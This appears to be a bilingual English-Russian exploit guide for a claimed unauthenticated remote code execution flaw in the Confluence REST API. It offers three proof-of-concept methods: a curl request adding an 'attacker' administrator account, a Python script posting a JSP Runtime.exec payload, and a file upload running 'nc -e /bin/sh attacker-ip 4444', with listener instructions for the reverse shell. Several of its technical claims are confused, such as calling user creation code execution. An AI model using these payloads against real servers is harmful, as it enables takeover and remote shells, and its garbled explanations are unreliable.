
This vulnerability allows an unauthenticated attacker to remotely execute arbitrary code on a vulnerable Confluence server. The vulnerability exists due to an improper validation of user-supplied input in the Confluence REST API. This allows an attacker to inject malicious code into the Confluence server, which can then be executed by the server
Эта уязвимость позволяет неаутентифицированному злоумышленнику удаленно выполнить произвольный код на уязвимом сервере Confluence. Уязвимость существует из-за неправильной проверки вводимых пользователем данных в REST API Confluence. Это позволяет злоумышленнику внедрить вредоносный код на сервер Confluence, который затем может быть выполнен сервером.
Эта уязвимость может позволить злоумышленнику получить полный контроль над уязвимым сервером Confluence. Это может позволить злоумышленнику украсть данные, изменить данные или нарушить доступность сервера.
Мы упомянем более одного метода 1.
1. Определение уязвимой конечной точки API:
мы будем использовать следующую конечную точку API:
POST /rest/api/user/bulk
Эта конечная точка позволяет администраторам массово создавать новых пользователей.
2. Создание вредоносного запроса:
Мы создадим вредоносный запрос, содержащий полезную нагрузку с вредоносным кодом. Этот код создаст нового пользователя с правами администратора.
POST /rest/api/user/bulk HTTP/1.1
Host: confluence.example.com
Content-Type: application/json
{
"users": [
{
"name": "attacker",
"password": "password",
"email": "[email protected]",
"groups": [
{
"name": "confluence-administrators"
}
]
}
]
}
3. Отправка запроса на сервер:
Мы будем использовать инструмент cURL для отправки запроса на сервер Confluence.
curl -X POST -H "Content-Type: application/json" -d '{"users": [{"name": "attacker", "password": "password", "email": "[email protected]", "groups": [{"name": "confluence-administrators"}]}]}' http://confluence.example.com/rest/api/user/bulk
4. Выполнение вредоносного кода:
Если запрос успешен, сервер Confluence выполнит вредоносный код. Это создаст нового пользователя с именем "attacker" и правами администратора. Затем злоумышленник сможет использовать эту учетную запись для доступа к серверу и получения полного контроля над ним.
2- PoC
import requests
url = "http://target-confluence-server.com/rest/api/content"
headers = {
"Content-Type": "application/json"
}
payload = {
"title": "Exploit RCE",
"type": "page",
"space": {
"key": "POC"
},
"body": {
"storage": {
"value": "<% Runtime.getRuntime().exec(\"calc.exe\"); %>",
"representation": "storage"
}
}
}
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Exploit sent successfully!")
print("Response: ", response.text)
else:
print("Failed to send exploit.")
print("Status code: ", response.status_code)
print("Response: ", response.text)
3- PoC
POST /upload HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 138
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.py"
Content-Type: text/x-python
import os
os.system("nc -e /bin/sh attacker-ip 4444")
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Отправьте измененный запрос через Burp Suite. Проверьте ответ, чтобы увидеть, выполнил ли сервер вредоносную нагрузку. Если ответ неожиданный или содержит ошибки, указывающие на выполнение кода, значит уязвимость обнаружена.
Если вы используете нагрузку для установки обратной оболочки, убедитесь, что настроили прослушивание на указанном порту на вашей локальной машине: nc -lvnp 4444. Если сервер подключится к вашей локальной машине, вы получите обратную оболочку.